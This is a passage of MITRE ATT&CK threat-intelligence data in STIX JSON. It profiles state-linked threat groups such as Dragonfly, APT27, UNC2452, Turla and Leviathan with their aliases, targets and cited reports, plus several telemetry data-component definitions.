2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"Energetic Bear","description":"(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Secureworks MCMD July 2019)(Citation: Secureworks Karagany July 2019)(Citation: Gigamon Berserk Bear October 2021)(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022)"},{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."},{"source_name":"DOJ Russia Targeting Critical Infrastructure March 2022","url":"https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical","description":"Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022."},{"source_name":"Dragos DYMALLOY ","url":"https://www.dragos.com/threat/dymalloy/","description":"Dragos. (n.d.). DYMALLOY. Retrieved August 20, 2020."},{"source_name":"Fortune Dragonfly 2.0 Sept 2017","url":"http://fortune.com/2017/09/06/hack-energy-grid-symantec/","description":"Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018."},{"source_name":"Mandiant Ukraine Cyber Threats January 2022","url":"https://www.mandiant.com/resources/ukraine-crisis-cyber-threats","description":"Hultquist, J. (2022, January 20). Anticipating Cyber Threats as the Ukraine Crisis Escalates. Retrieved January 24, 2022."},{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."},{"source_name":"Secureworks IRON LIBERTY July 2019","url":"https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector","description":"Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."},{"source_name":"Symantec Dragonfly Sept 2017","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017."},{"source_name":"Symantec Dragonfly","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016."},{"source_name":"Symantec Dragonfly 2.0 October 2017","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks","description":"Symantec. (2017, October 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved April 19, 2022."},{"source_name":"UK GOV FSB Factsheet April 2022","url":"https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet","description":"UK Gov. (2022, April 5). Russia's FSB malign activity: factsheet. Retrieved April 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia's Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)","modified":"2022-04-19T15:04:26.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Dragonfly","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Threat Group-3390","Earth Smilodon","TG-3390","Emissary Panda","BRONZE UNION","APT27","Iron Tiger","LuckyMouse"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Kyaw Pyiyt Htet, @KyawPyiytHtet"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","created":"2017-05-31T21:31:58.518Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0027","url":"https://attack.mitre.org/groups/G0027"},{"source_name":"Threat Group-3390","description":"(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)"},{"source_name":"TG-3390","description":"(Citation: Dell TG-3390)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Hacker News LuckyMouse June 2018)"},{"source_name":"Emissary Panda","description":"(Citation: Gallagher 2015)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"Iron Tiger","description":"(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"APT27","description":"(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"LuckyMouse","description":"(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"BRONZE UNION","description":"(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)"},{"source_name":"Earth Smilodon","description":"(Citation: Trend Micro Iron Tiger April 2021)"},{"source_name":"SecureWorks BRONZE UNION June 2017","url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017."},{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"Unit42 Emissary Panda May 2019","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019."},{"source_name":"Gallagher 2015","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016."},{"source_name":"Hacker News LuckyMouse June 2018","url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018."},{"source_name":"Securelist LuckyMouse June 2018","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018."},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Nccgroup Emissary Panda May 2018","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T18:05:20.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Threat Group-3390","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["UNC2452","NOBELIUM","StellarParticle","Dark Halo"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Katie Nickels, Red Canary","Matt Brenton, Zurich Insurance Group"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","type":"intrusion-set","created":"2021-01-05T15:34:11.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"G0118","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0118"},{"source_name":"UNC2452","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"NOBELIUM","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"StellarParticle","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)"},{"source_name":"Dark Halo","description":"(Citation: Volexity SolarWinds)"},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-05-04T14:39:31.825Z","name":"UNC2452","description":"[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Turla","IRON HUNTER","Group 88","Belugasturgeon","Waterbug","WhiteBear","VENOMOUS BEAR","Snake","Krypton"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthieu Faou, ESET","Edward Millington"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","type":"intrusion-set","created":"2017-05-31T21:31:49.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0010","external_id":"G0010"},{"source_name":"Turla","description":"(Citation: Kaspersky Turla)"},{"source_name":"IRON HUNTER","description":"(Citation: Secureworks IRON HUNTER Profile)"},{"source_name":"Group 88","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Belugasturgeon","description":"(Citation: Accenture HyperStack October 2020)"},{"source_name":"Waterbug","description":"Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)"},{"source_name":"WhiteBear","description":"WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021)"},{"source_name":"VENOMOUS BEAR","description":"(Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021)"},{"source_name":"Snake","description":"(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021)"},{"source_name":"Krypton","description":"(Citation: CrowdStrike VENOMOUS BEAR)"},{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/","description":"Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.","source_name":"CrowdStrike VENOMOUS BEAR"},{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"},{"source_name":"Secureworks IRON HUNTER Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022."},{"source_name":"Leonardo Turla Penquin May 2020","url":"https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021."},{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."},{"source_name":"Symantec Waterbug","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"},{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2022-03-09T23:34:47.461Z","name":"Turla","description":"[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)","x_mitre_version":"3.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"Command Execution","description":"Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)","x_mitre_data_source_ref":"x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["The White Company"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4","type":"intrusion-set","created":"2019-05-02T00:08:18.314Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0089","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0089"},{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","source_name":"Cylance Shaheen Nov 2018"}],"modified":"2020-03-30T19:24:52.290Z","name":"The White Company","description":"[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Windshift","Bahamut"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","type":"intrusion-set","created":"2020-06-25T17:16:39.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0112","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0112"},{"source_name":"Bahamut","description":"(Citation: SANS Windshift August 2018)"},{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."},{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2021-04-26T14:37:33.234Z","name":"Windshift","description":"[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"File Modification","description":"Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Object Modification","description":"Changes made to an active directory object (ex: Windows EID 5163 or 5136)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Leviathan","MUDCARP","Kryptonite Panda","Gadolinium","BRONZE MOHAWK","TEMP.Jumper","APT40","TEMP.Periscope"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"G0065","url":"https://attack.mitre.org/groups/G0065"},{"source_name":"MUDCARP","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)"},{"source_name":"Kryptonite Panda","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018)"},{"source_name":"Gadolinium","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020)"},{"source_name":"BRONZE MOHAWK","description":"(Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.)"},{"source_name":"Leviathan","description":"(Citation: Proofpoint Leviathan Oct 2017)"},{"source_name":"TEMP.Jumper","description":"[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019)"},{"source_name":"TEMP.Periscope","description":"[Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."},{"source_name":"Crowdstrike KRYPTONITE PANDA August 2018","url":"https://www.crowdstrike.com/blog/two-birds-one-stone-panda/","description":"Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021."},{"source_name":"Proofpoint Leviathan Oct 2017","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."},{"source_name":"MSTIC GADOLINIUM September 2020","url":"https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/","description":"Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021."},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"APT40","description":"FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)"},{"source_name":"FireEye Periscope March 2018","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018."},{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."},{"source_name":"SecureWorks BRONZE MOHAWK n.d.","url":"https://www.secureworks.com/research/threat-profiles/bronze-mohawk","description":"SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. 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MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"FireEye Operation Molerats","description":"Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.","url":"https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"}],"modified":"2021-04-27T20:16:16.057Z","name":"Molerats","description":"[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. 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(2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."},{"source_name":"Dragos ELECTRUM","url":"https://www.dragos.com/resource/electrum/","description":"Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020."},{"source_name":"F-Secure BlackEnergy 2014","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016."},{"source_name":"iSIGHT Sandworm 2014","url":"https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html","description":"Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017."},{"source_name":"CrowdStrike VOODOO BEAR","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/","description":"Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018."},{"source_name":"InfoSecurity Sandworm Oct 2014","url":"https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/","description":"Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017."},{"source_name":"NCSC Sandworm Feb 2020","url":"https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory","description":"NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020."},{"source_name":"USDOJ Sandworm Feb 2020","url":"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html","description":"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich 